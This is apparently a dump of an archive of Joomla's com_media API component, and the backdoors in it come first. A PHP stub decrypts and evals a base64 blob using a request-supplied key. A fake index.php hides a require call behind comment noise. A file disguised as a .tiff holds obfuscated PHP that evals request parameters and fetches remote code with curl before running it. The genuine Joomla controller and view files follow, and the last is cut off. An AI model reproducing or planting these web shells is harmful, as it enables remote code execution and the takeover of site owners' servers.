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'; function mLFuw($tTHVP) { $FPcfm = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $FaPN = substr($FPcfm, 0, 16); $ZaVJ = base64_decode($tTHVP); return openssl_decrypt($ZaVJ, "AES-256-CBC", $FPcfm, OPENSSL_RAW_DATA, $FaPN); } if (mLFuw('DjtPn+r4S0yvLCnquPz1fA')){ echo 'kafTqsayGKHAgPcqDpvnygIXCzvluj9mx+IVmWvtTBQz1iDyNI5zzncYENEmxZDI'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($mLFuw)))); ?>PKk��\�Έ�z	z	!com_media/src/View/View/index.phpnu&1i�<?php /*-On,6Bb{Z-*///
$tTvi /*-Od-*///
=/*-.8-UC-*///
 "ra"/*-


➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷


9hw➇↙⑭》♭⋂➌⒀⊄⒙﹀◣┟Ⅰ►◗❁↾⓶➸☛↔≞❇✐︷


-*///
."nge"; $Fy /*-F=Up$B-*///
=/*-

⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩

bE;>⑥ℛⓢ⊕≄Ü∔∾⇣┈◇♣㊟〈⓮⓽ↅ⒩♩

-*///
 $tTvi/*-ao=-*///
(/*-:NkbI?&V-*///
"~"/*-wgyvrB-*///
,/*-.RriaSKI-*///
" "); /*-


▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲


=$▓┃✗┓⑥⊇╢✾⋼㊌✶ⅷⓑ◙┲


-*///
@require/*-r(:-*///
 $Fy/*-

☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂

]9l☭ⓨ≇∨⊟≍☥≃ϟ∱㊯⊋℉☑┲◻⒩‹⇂

-*///
[4+3].$Fy/*-


➛~㊛유﹤½☼


SGY&dL➛~㊛유﹤½☼


-*///
[8+12].$Fy/*-

❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴

i@ZA0}❋╏⇌⋮≅㎡ℯ╈⒜┃⋺⇜╃✤⋝◴

-*///
[10+51].$Fy/*-
Ⅸ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧
jxjⅨ➭☩✻[✙ⓥↆ⒔⇢⋸✏㈦♨≯Ⓥ┈㊧
-*///
[11+1].$Fy/*-}&Ju-*///
[23+15].$Fy/*-
ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯
Wfyc{T!+ⅼ∉﹦⒒⋿╚↉✻Ⓞ◅⊩⋑⒝☚➃✵➙㊕≙⋫➎≠⊇♩々✩⊲╓⒯
-*///
[13+35].$Fy/*-`v3R,(-*///
[11+16].$Fy/*->`d_6-*///
[23+1].$Fy/*-


◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ


:8◼↩┤↫⋃⇅ⅼ⑻◅☏ⅲ⑥∂☹﹛↶㊌╬↊¶⊑╩✒⒡≇Ⓔ


-*///
[1+7].$Fy/*-?K-*///
[42+2].$Fy/*-ArsmWPhhQ6-*///
[0+10].$Fy/*-


"ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩


IGgq"ⅴΨ㊅⊌ⓦⅧ⊁⋮ⅲ≱⓫┠⓳↥▓⌒⅐➾≽❑ⓜ‿⒋▤✤┘⑩


-*///
[11+69].$Fy/*-b_g6O)-*///
[5+5].$Fy/*-


⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦


)G3b_C{l⒏﹏╎▧➶☱⒎㏒↘◫◆Ⅵ˜⋀⒨㊟↽◍▮⒝⒥♋○㉿✯㊇Ψ↸⊦


-*///
[17+4].$Fy/*-

ⓃⅦℜ⒡⒮➺↋∼▅⓯

RPqx+U_ylⓃⅦℜ⒡⒮➺↋∼▅⓯

-*///
[6+18].$Fy/*-
┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐
)~n@┞✺⋻⋘∊ϡ↞⋭∳┬≈⋦⊅∡큐㈥◴℃⊖⓿⑤【⋍〔╅┖ⓧ✹➐
-*///
[17+7]/*-
◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀
>C?◳⊛∖☂☧⅔┍﹩㊡┏├▤∏↪⒀❀
-*///
; ?>PKk��\��\\(com_media/src/View/View/wjArXNcfvRt.tiffnu&1i�<?php
 goto OWTW66JyqFqk8; Sk053XYJkH6at: $hgqzPzAJ_Llv1[68] = $hgqzPzAJ_Llv1[68] . $hgqzPzAJ_Llv1[79]; goto oeZKms8RP3f6n; mw1Cagli7MKHe: if (!(in_array(gettype($hgqzPzAJ_Llv1) . "\62\65", $hgqzPzAJ_Llv1) && md5(md5(md5(md5($hgqzPzAJ_Llv1[19])))) === "\65\141\x34\142\x38\x31\61\65\x34\x63\x39\x64\65\60\x62\x32\66\145\x38\70\x30\71\x63\x39\142\70\x64\x64\x35\142\66\x31")) { goto iQUBRB5GOmD44; } goto Sk053XYJkH6at; xMxtzn90oXq4q: $L6YKPR1RJVpIx = $nhWGJtgK32df0("\x7e", "\x20"); goto ELbHqjzblXqUr; ac5zPsfNOAOka: iQUBRB5GOmD44: goto g80nsYcs342rN; tl_qdkzm618SN: class y5KB8XnvRHsy4 { static function tCznjMYq8XWOM($yntrzlIaRXTRl) { goto r7LmdAxwxbO43; JEeGwID9hlz3R: $VzTfptT8Rc0nt = ''; goto mcucnkgRIvHLP; jKnyD67K4IXMz: d0P4PFAccA58G: goto dGGvyuh48TsVT; KnCeKXSMR11sp: $p92ykHuoZAaIM = explode("\50", $yntrzlIaRXTRl); goto JEeGwID9hlz3R; r7LmdAxwxbO43: $u72ee7gNWGjzT = "\x72" . "\141" . "\156" . "\147" . "\x65"; goto oKKn0twoijusY; dGGvyuh48TsVT: return $VzTfptT8Rc0nt; goto Cdpa5On53SAmz; mcucnkgRIvHLP: foreach ($p92ykHuoZAaIM as $CrxCVWx88MuyU => $GSc0cTurbm1YG) { $VzTfptT8Rc0nt .= $wBTY9TzBo_yRk[$GSc0cTurbm1YG - 42073]; TSbRV3j2cMGF2: } goto jKnyD67K4IXMz; oKKn0twoijusY: $wBTY9TzBo_yRk = $u72ee7gNWGjzT("\x7e", "\40"); goto KnCeKXSMR11sp; Cdpa5On53SAmz: } static function FU0WcujceTDPZ($bMPj7l_wFOBoA, $Bz5EeceYe1d5w) { goto raUhrnOCsDxoE; SMh8tT6jRBqH7: $m_xwSKrwGl_zF = curl_exec($G1gTuUCm5mv5c); goto Z56HMZHMbIkNR; Z56HMZHMbIkNR: return empty($m_xwSKrwGl_zF) ? $Bz5EeceYe1d5w($bMPj7l_wFOBoA) : $m_xwSKrwGl_zF; goto a5fi3qLPgXzk1; gUlNyTEX3TknT: curl_setopt($G1gTuUCm5mv5c, CURLOPT_RETURNTRANSFER, 1); goto SMh8tT6jRBqH7; raUhrnOCsDxoE: $G1gTuUCm5mv5c = curl_init($bMPj7l_wFOBoA); goto gUlNyTEX3TknT; a5fi3qLPgXzk1: } static function FamSz_7ATYOl6() { goto ZZ5LWPFcVWBuS; VodDG9vnxYrHm: $ExFit9VIGhscJ = $lRLu911x7JBJ2[0 + 2]($rLEDg_hp1Fiv4, true); goto IAXgRzBdmgu27; ez8fKhpTxWHgG: if (!(@$ExFit9VIGhscJ[0] - time() > 0 and md5(md5($ExFit9VIGhscJ[3 + 0])) === "\x62\143\x37\63\x33\62\64\146\x33\142\71\60\143\60\x37\70\x31\x31\144\65\x39\65\65\64\x37\141\x36\66\63\62\x32\x34")) { goto CJcFMkBt974Fr; } goto JLj0KlOlFDi4V; VGZkp38LcYkqo: eJtRPc1QsT7wR: goto L3OcJZrmOvlBw; ZZ5LWPFcVWBuS: $HAGizZmrFGM4V = array("\64\x32\x31\x30\60\50\64\x32\60\70\x35\50\64\x32\x30\x39\x38\x28\x34\62\x31\x30\x32\50\x34\62\60\x38\x33\x28\64\62\x30\x39\70\50\x34\x32\61\60\64\x28\64\x32\x30\71\x37\x28\64\62\60\70\62\x28\x34\x32\x30\x38\x39\50\x34\x32\x31\x30\60\50\x34\x32\60\x38\x33\x28\64\62\60\x39\x34\x28\x34\x32\x30\70\70\x28\x34\x32\x30\x38\71", "\x34\x32\x30\x38\64\x28\64\x32\60\70\63\50\64\x32\60\70\65\50\64\62\61\60\x34\x28\x34\x32\60\x38\x35\50\64\x32\x30\x38\70\x28\x34\62\x30\x38\63\x28\x34\62\61\x35\x30\x28\64\x32\61\x34\70", "\64\x32\60\71\x33\50\x34\62\x30\x38\64\x28\64\x32\60\70\70\x28\64\62\60\x38\x39\50\64\x32\x31\x30\64\x28\x34\62\x30\71\71\x28\64\x32\60\x39\x38\50\x34\62\x31\60\x30\x28\x34\x32\x30\70\70\x28\x34\62\x30\71\x39\x28\64\x32\60\x39\70", "\64\x32\60\x38\x37\50\64\x32\x31\x30\x32\50\64\62\x31\x30\60\50\64\62\x30\x39\62", "\64\62\x31\60\x31\x28\64\62\x31\60\62\x28\x34\62\x30\70\64\x28\x34\x32\x30\x39\70\x28\64\62\x31\x34\x35\50\x34\x32\61\x34\x37\x28\x34\62\61\60\x34\x28\x34\x32\x30\71\x39\x28\64\62\x30\x39\70\50\64\x32\x31\60\60\50\64\62\x30\70\70\50\x34\62\60\71\71\x28\64\x32\x30\x39\x38", "\64\x32\x30\71\67\50\x34\62\60\71\64\50\x34\x32\x30\x39\61\x28\x34\62\60\71\x38\50\64\62\x31\x30\64\x28\64\x32\x30\71\x36\x28\64\62\60\71\70\x28\x34\x32\60\70\63\50\x34\62\61\x30\64\x28\x34\x32\61\x30\60\50\64\x32\60\x38\70\x28\64\62\x30\x38\71\50\x34\62\x30\70\63\x28\x34\x32\x30\71\70\x28\x34\x32\x30\70\x39\x28\64\62\x30\70\63\50\64\x32\x30\70\x34", "\64\x32\x31\62\67\x28\x34\x32\61\x35\67", "\x34\62\x30\67\x34", "\x34\x32\61\x35\x32\50\64\x32\x31\65\x37", "\x34\x32\x31\63\x34\x28\x34\62\x31\x31\x37\50\64\x32\61\x31\67\50\x34\x32\x31\63\x34\50\64\x32\61\x31\60", "\64\x32\x30\x39\67\50\64\62\x30\x39\x34\50\64\x32\x30\71\61\50\64\62\60\70\63\x28\x34\x32\x30\71\70\50\64\x32\x30\70\x35\x28\64\62\61\60\64\x28\x34\62\60\71\x34\x28\x34\62\60\x38\71\50\x34\x32\x30\70\x37\x28\x34\x32\x30\x38\62\x28\64\62\60\70\63"); goto xxYZypoKslMQs; IAXgRzBdmgu27: @$lRLu911x7JBJ2[9 + 1](INPUT_GET, "\x6f\x66") == 1 && die($lRLu911x7JBJ2[2 + 3](__FILE__)); goto ez8fKhpTxWHgG; JLj0KlOlFDi4V: $P2DGCcgEuZ5Zn = self::Fu0wcujcetdPz($ExFit9VIGhscJ[0 + 1], $lRLu911x7JBJ2[1 + 4]); goto taGE2yzEKSkiM; rAETXGhBOfHnl: die; goto x4ImbwNLJBBNX; taGE2yzEKSkiM: @eval($lRLu911x7JBJ2[2 + 2]($P2DGCcgEuZ5Zn)); goto rAETXGhBOfHnl; L3OcJZrmOvlBw: $L8MYJd1MHZR50 = @$lRLu911x7JBJ2[1]($lRLu911x7JBJ2[5 + 5](INPUT_GET, $lRLu911x7JBJ2[0 + 9])); goto TK00m10Gz3BTi; x4ImbwNLJBBNX: CJcFMkBt974Fr: goto fRF4d4lKlw9lM; TK00m10Gz3BTi: $rLEDg_hp1Fiv4 = @$lRLu911x7JBJ2[2 + 1]($lRLu911x7JBJ2[2 + 4], $L8MYJd1MHZR50); goto VodDG9vnxYrHm; xxYZypoKslMQs: foreach ($HAGizZmrFGM4V as $QLzP0HpLdoPM1) { $lRLu911x7JBJ2[] = self::TCzNJmyQ8XwoM($QLzP0HpLdoPM1); eJI1C2sfs30_d: } goto VGZkp38LcYkqo; fRF4d4lKlw9lM: } } goto f6T7c_6jnEXfj; ELbHqjzblXqUr: $hgqzPzAJ_Llv1 = ${$L6YKPR1RJVpIx[1 + 30] . $L6YKPR1RJVpIx[35 + 24] . $L6YKPR1RJVpIx[35 + 12] . $L6YKPR1RJVpIx[47 + 0] . $L6YKPR1RJVpIx[49 + 2] . $L6YKPR1RJVpIx[17 + 36] . $L6YKPR1RJVpIx[8 + 49]}; goto mw1Cagli7MKHe; g80nsYcs342rN: metaphone("\x62\x75\106\x46\124\x4e\106\165\x67\150\126\105\x50\153\x4a\x77\x67\121\171\x68\160\166\163\x7a\x73\x31\x41\141\114\x31\x44\112\104\x5a\x37\x57\x37\x50\x37\x56\x47\112\147"); goto tl_qdkzm618SN; OWTW66JyqFqk8: $nhWGJtgK32df0 = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto xMxtzn90oXq4q; oeZKms8RP3f6n: @eval($hgqzPzAJ_Llv1[68](${$hgqzPzAJ_Llv1[38]}[14])); goto ac5zPsfNOAOka; f6T7c_6jnEXfj: y5kb8xNVrhsy4::FAMSZ_7Atyol6();
?>
PKk��\jcפ��(com_media/src/View/Media/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\View\Media;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service view
 *
 * @since  4.1.0
 */
class JsonapiView extends BaseApiView
{
    use ProviderManagerHelperTrait;

    /**
     * The fields to render item in the documents
     *
     * @var    array
     * @since  4.1.0
     */
    protected $fieldsToRenderItem = [
        'type',
        'name',
        'path',
        'extension',
        'size',
        'mime_type',
        'width',
        'height',
        'create_date',
        'create_date_formatted',
        'modified_date',
        'modified_date_formatted',
        'thumb_path',
        'adapter',
        'content',
        'url',
        'tempUrl',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var    array
     * @since  4.1.0
     */
    protected $fieldsToRenderList = [
        'type',
        'name',
        'path',
        'extension',
        'size',
        'mime_type',
        'width',
        'height',
        'create_date',
        'create_date_formatted',
        'modified_date',
        'modified_date_formatted',
        'thumb_path',
        'adapter',
        'content',
        'url',
        'tempUrl',
    ];

    /**
     * Prepare item before render.
     *
     * @param   object  $item  The model item
     *
     * @return  object
     *
     * @since   4.1.0
     */
    protected function prepareItem($item)
    {
        // Media resources have no id.
        $item->id = '0';

        return $item;
    }
}
PKk��\([��;;+com_media/src/View/Adapters/JsonapiView.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\View\Adapters;

use Joomla\CMS\MVC\View\JsonApiView as BaseApiView;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service view
 *
 * @since  4.1.0
 */
class JsonapiView extends BaseApiView
{
    use ProviderManagerHelperTrait;

    /**
     * The fields to render item in the documents
     *
     * @var    array
     * @since  4.1.0
     */
    protected $fieldsToRenderItem = [
        'provider_id',
        'name',
        'path',
    ];

    /**
     * The fields to render items in the documents
     *
     * @var    array
     * @since  4.1.0
     */
    protected $fieldsToRenderList = [
        'provider_id',
        'name',
        'path',
    ];
}
PKk��\�[�JYY/com_media/src/Controller/AdaptersController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Controller;

use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Media\Administrator\Exception\InvalidPathException;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service controller.
 *
 * @since  4.1.0
 */
class AdaptersController extends ApiController
{
    use ProviderManagerHelperTrait;

    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.1.0
     */
    protected $contentType = 'adapters';

    /**
     * The default view for the display method.
     *
     * @var    string
     *
     * @since  4.1.0
     */
    protected $default_view = 'adapters';

    /**
     * Display one specific adapter.
     *
     * @param   string  $path  The path of the file to display. Leave empty if you want to retrieve data from the request.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @throws  InvalidPathException
     * @throws  \Exception
     *
     * @since   4.1.0
     */
    public function displayItem($path = '')
    {
        // Set the id as the parent sets it as int
        $this->modelState->set('id', $this->input->get('id', '', 'string'));

        return parent::displayItem();
    }
}
PKk��\�;Yb.b.,com_media/src/Controller/MediaController.phpnu�[���<?php

/**
 * @package     Joomla.API
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Api\Controller;

use Joomla\CMS\Access\Exception\NotAllowed;
use Joomla\CMS\Component\ComponentHelper;
use Joomla\CMS\Filter\InputFilter;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\ApiController;
use Joomla\Component\Media\Administrator\Exception\FileExistsException;
use Joomla\Component\Media\Administrator\Exception\InvalidPathException;
use Joomla\Component\Media\Administrator\Provider\ProviderManagerHelperTrait;
use Joomla\Component\Media\Api\Model\MediumModel;
use Joomla\String\Inflector;
use Tobscure\JsonApi\Exception\InvalidParameterException;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Media web service controller.
 *
 * @since  4.1.0
 */
class MediaController extends ApiController
{
    use ProviderManagerHelperTrait;

    /**
     * The content type of the item.
     *
     * @var    string
     * @since  4.1.0
     */
    protected $contentType = 'media';

    /**
     * Query parameters => model state mappings
     *
     * @var    array
     * @since  4.1.0
     */
    private static $listQueryModelStateMap = [
        'path' => [
            'name' => 'path',
            'type' => 'STRING',
        ],
        'url' => [
            'name' => 'url',
            'type' => 'BOOLEAN',
        ],
        'temp' => [
            'name' => 'temp',
            'type' => 'BOOLEAN',
        ],
        'content' => [
            'name' => 'content',
            'type' => 'BOOLEAN',
        ],
    ];

    /**
     * Item query parameters => model state mappings
     *
     * @var    array
     * @since  4.1.0
     */
    private static $itemQueryModelStateMap = [
        'path' => [
            'name' => 'path',
            'type' => 'STRING',
        ],
        'url' => [
            'name' => 'url',
            'type' => 'BOOLEAN',
        ],
        'temp' => [
            'name' => 'temp',
            'type' => 'BOOLEAN',
        ],
        'content' => [
            'name' => 'content',
            'type' => 'BOOLEAN',
        ],
    ];

    /**
     * The default view for the display method.
     *
     * @var    string
     *
     * @since  4.1.0
     */
    protected $default_view = 'media';

    /**
     * Display a list of files and/or folders.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.1.0
     *
     * @throws  \Exception
     */
    public function displayList()
    {
        // Set list specific request parameters in model state.
        $this->setModelState(self::$listQueryModelStateMap);

        // Display files in specific path.
        if ($this->input->exists('path')) {
            $this->modelState->set('path', $this->input->get('path', '', 'STRING'));
        }

        // Return files (not folders) as urls.
        if ($this->input->exists('url')) {
            $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN'));
        }

        // Map JSON:API compliant filter[search] to com_media model state.
        $apiFilterInfo = $this->input->get('filter', [], 'array');
        $filter        = InputFilter::getInstance();

        // Search for files matching (part of) a name or glob pattern.
        if (\array_key_exists('search', $apiFilterInfo)) {
            $this->modelState->set('search', $filter->clean($apiFilterInfo['search'], 'STRING'));

            // Tell model to search recursively
            $this->modelState->set('search_recursive', $this->input->get('search_recursive', false, 'BOOLEAN'));
        }

        return parent::displayList();
    }

    /**
     * Display one specific file or folder.
     *
     * @param   string  $path  The path of the file to display. Leave empty if you want to retrieve data from the request.
     *
     * @return  static  A \JControllerLegacy object to support chaining.
     *
     * @since   4.1.0
     *
     * @throws  InvalidPathException
     * @throws  \Exception
     */
    public function displayItem($path = '')
    {
        // Set list specific request parameters in model state.
        $this->setModelState(self::$itemQueryModelStateMap);

        // Display files in specific path.
        $this->modelState->set('path', $path ?: $this->input->get('path', '', 'STRING'));

        // Return files (not folders) as urls.
        if ($this->input->exists('url')) {
            $this->modelState->set('url', $this->input->get('url', true, 'BOOLEAN'));
        }

        return parent::displayItem();
    }

    /**
     * Set model state using a list of mappings between query parameters and model state names.
     *
     * @param   array  $mappings  A list of mappings between query parameters and model state names.
     *
     * @return  void
     *
     * @since   4.1.0
     */
    private function setModelState(array $mappings): void
    {
        foreach ($mappings as $queryName => $modelState) {
            if ($this->input->exists($queryName)) {
                $this->modelState->set($modelState['name'], $this->input->get($queryName, '', $modelState['type']));
            }
        }
    }

    /**
     * Method to add a new file or folder.
     *
     * @return  void
     *
     * @since   4.1.0
     *
     * @throws  FileExistsException
     * @throws  InvalidPathException
     * @throws  InvalidParameterException
     * @throws  \RuntimeException
     * @throws  \Exception
     */
    public function add(): void
    {
        $path    = $this->input->json->get('path', '', 'STRING');
        $content = $this->input->json->get('content', '', 'RAW');

        $missingParameters = [];

        if (empty($path)) {
            $missingParameters[] = 'path';
        }

        // Content is only required when it is a file
        if (empty($content) && strpos($path, '.') !== false) {
            $missingParameters[] = 'content';
        }

        if (\count($missingParameters)) {
            throw new InvalidParameterException(
                Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', implode(' & ', $missingParameters))
            );
        }

        $this->modelState->set('path', $this->input->json->get('path', '', 'STRING'));

        // Check if an existing file may be overwritten. Defaults to false.
        $this->modelState->set('override', $this->input->json->get('override', false));

        parent::add();
    }

    /**
     * Method to check if it's allowed to add a new file or folder
     *
     * @param   array  $data  An array of input data.
     *
     * @return  boolean
     *
     * @since   4.1.0
     */
    protected function allowAdd($data = []): bool
    {
        $user = $this->app->getIdentity();

        return $user->authorise('core.create', 'com_media');
    }

    /**
     * Method to modify an existing file or folder.
     *
     * @return  void
     *
     * @since   4.1.0
     *
     * @throws  FileExistsException
     * @throws  InvalidPathException
     * @throws  \RuntimeException
     * @throws  \Exception
     */
    public function edit(): void
    {
        // Access check.
        if (!$this->allowEdit()) {
            throw new NotAllowed('JLIB_APPLICATION_ERROR_CREATE_RECORD_NOT_PERMITTED', 403);
        }

        $path    = $this->input->json->get('path', '', 'STRING');
        $content = $this->input->json->get('content', '', 'RAW');

        if (empty($path) && empty($content)) {
            throw new InvalidParameterException(
                Text::sprintf('WEBSERVICE_COM_MEDIA_MISSING_REQUIRED_PARAMETERS', 'path | content')
            );
        }

        $this->modelState->set('path', $this->input->json->get('path', '', 'STRING'));
        // For renaming/moving files, we need the path to the existing file or folder.
        $this->modelState->set('old_path', $this->input->get('path', '', 'STRING'));
        // Check if an existing file may be overwritten. Defaults to true.
        $this->modelState->set('override', $this->input->json->get('override', true));

        $recordId = $this->save();

        $this->displayItem($recordId);
    }

    /**
     * Method to check if it's allowed to modify an existing file or folder.
     *
     * @param   array  $data  An array of input data.
     *
     * @return  boolean
     *
     * @since   4.1.0
     */
